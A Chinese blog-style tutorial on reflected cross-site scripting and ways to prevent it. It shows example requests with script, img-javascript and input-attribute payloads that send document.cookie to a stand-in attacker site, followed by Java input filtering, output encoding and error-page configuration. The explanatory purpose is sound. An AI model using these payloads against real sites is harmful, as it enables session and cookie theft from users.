跨站指令碼攻擊(XSS)幾種解決方案淺析
阿新 • • 發佈:2019-01-22
一、概述
Cross-site scripting(CSS or XSS)跨站指令碼不像其他攻擊只包含兩個部分:攻擊者和web站點,跨站指令碼包含三個部分:攻擊者,客戶和web站點。跨站指令碼攻擊的目的是竊取客戶的cookies,或者其他可以證明使用者身份的敏感資訊。
二、XSS攻擊原理
一個get請求:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:www.vulnerable.site
會產生如下的結果:
<HTML> < Title>Welcome!</Title> Hi Joe Hacker < BR> Welcome to our system ... < /HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host:www.vulnerable.site
就會得到如下的響應
<HTML>
< Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
< BR>
Welcome to our system
...
< /HTML>
這樣在客戶端會有一段非法的指令碼執行,這不具有破壞作用,但是如下的指令碼就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collec
t.cgi?cookie=”%2Bdocument.cookie)</script>
響應如下:
<HTML> < Title>Welcome!</Title> Hi < script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)< /script> < BR> Welcome to our system ... < /HTML>
瀏覽器回執行該指令碼並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。變體:除了使用<script>這個指令碼之外,還可以使用其他的<img src=”javascript:...”>,這樣對於過濾的站點有效。對於<input type=text name=user value=”...”>這樣的輸入,可以通過如下攻擊<input type=text name=user value=”<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>”
/>
三、解決方法
1,輸入過濾:
對每一個使用者的輸入或者請求首部,都要進行過濾。這需要程式設計師有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2,輸出過濾:
public static String encode(String data){
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++){
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data, final String charEncoding){
if (data == null){
return null;
}
byte[] inBytes = null;
try{
inBytes = data.getBytes(charEncoding);
}catch (UnsupportedEncodingException e){
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++){
if (inBytes[i] == '%'){
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +(b2 & 0xf));
}else{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try{
encodedStr = new String(outBytes, 0, j, charEncoding);
}catch (UnsupportedEncodingException e){
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
< !-- Maps the 404 Not Found response code to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)request.getAttribute("javax.servlet.error.status_code")).toString( );
3,安裝三方的應用防火牆,可以攔截css攻擊。